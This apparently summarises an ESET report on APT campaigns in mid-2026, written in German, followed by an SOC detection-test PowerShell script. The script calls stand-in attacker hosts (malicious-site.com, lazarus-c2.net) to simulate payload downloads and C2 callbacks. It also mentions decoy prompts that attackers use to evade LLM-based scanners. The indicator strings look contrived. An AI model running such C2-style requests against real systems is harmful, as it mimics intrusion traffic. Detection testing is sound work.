ESET APT Aktivitätsbericht Q2–Q3 2026: Wichtige Kampagnen und Trends

Zusammenfassung

Dieser Bericht beschreibt eine breite Palette von APT-Aktivitäten, die zwischen April und September 2026 beobachtet wurden. Wichtige Trends umfassen von China ausgerichtete Gruppen, die auf Regierungs- und Halbleiterorganisationen abzielen, erneute Aktivitäten von Iran-nahen Akteuren wie OilRig und nordkoreanische Kampagnen, die sich auf Technologie und Kryptowährungen konzentrieren. Der Bericht hebt auch die zunehmende operative Koordination zwischen Russland-nahen und Belarus-nahen Gruppen hervor, insbesondere gegen Ziele in der Ukraine.

Untersuchung

ESET-Forscher analysierten Telemetriedaten, um mehrere Bedrohungsakteur-Cluster in verschiedenen Regionen zu verfolgen. Die Untersuchung umfasste die Identifizierung neuer Malware-Familien, die Untersuchung von Kompromittierungen in der Software-Lieferkette und die Überwachung der Einführung von KI-Werkzeugen in den Arbeitsabläufen der Gegner. Die Forscher analysierten auch Muster in Infrastruktur, Werkzeugentwicklung und Veränderungen im Zielverhalten.

Abmilderung

Organisationen sollten die Sicherheit der Software-Lieferkette stärken und Rekrutierungsthemen bei Social-Engineering-Kampagnen überwachen. Der Schutz von MDaemon-Mailservern vor Ausnutzung und die Sicherung von Android-Geräten vor Spionage-Software, die auf Identitätsbetrug basiert, sind ebenfalls wichtig. Sicherheitsteams sollten außerdem KI-generierte Verschleierungstechniken berücksichtigen, wenn sie verdächtige Skripte und Nutzlasten analysieren.

Reaktion

Wenn verdächtige Aktivitäten erkannt werden, sollten Organisationen eine detaillierte forensische Analyse von Skripten, Repositorien und betroffener Software durchführen. Vorfallbearbeiter sollten KI-gesteuerte Verschleierungstechniken in Betracht ziehen, einschließlich Täuschungsanweisungen, die darauf ausgelegt sind, LLM-basierte Scanner zu umgehen. Mögliche Kompromittierungen in der Lieferkette sollten sofort eingedämmt und untersucht werden, um weiteren Diebstahl von Zugangsdaten und unbefugten Zugriff zu verhindern.

Simulation Ausführung

• Angriffserzählung & Befehle: Der simulierte Angreifer zielt darauf ab, die bekannten Indikatoren von Turla und Lazarus Group nachzuahmen, um zu testen, ob das SOC spezifische, hartkodierte Zeichenfolgen erkennen kann. Zuerst simuliert der Angreifer eine Turla-Style-Payload-Anforderung, indem er versucht, eine URL zu erreichen, die die spezifische Zeichenfolge „Turla’s VBScript Rezzuar“ enthält. Zweitens simuliert der Angreifer einen phishing-bezogenen Rückruf im Lazarus Group-Rekrutierungsthema, indem er eine HTTP-Anfrage mit einer hochgradig angepassten User-Agent-Zeichenfolge sendet: „Lazarus Group Recruitment“. Dies ahmt das Verhalten eines kompromittierten Systems nach, das mit einem C2 oder einer spezialisierten Phishing-Landingpage kommuniziert.

• Regression Test Skript:

  # Simulation von Turla TTP (URL-Abgleich)
  Write-Host "[+] Simuliere Turla URL Indikator..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Simulation von Lazarus TTP (User-Agent-Abgleich)
  Write-Host "[+] Simuliere Lazarus User-Agent Indikator..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• Bereinigungskommandos:

  # Durch die Simulation werden keine dauerhaften Artefakte erstellt, da sie nur speicherbasierte Webanfragen nutzt.
  Write-Host "[+] Simulation abgeschlossen. Keine Bereinigung erforderlich."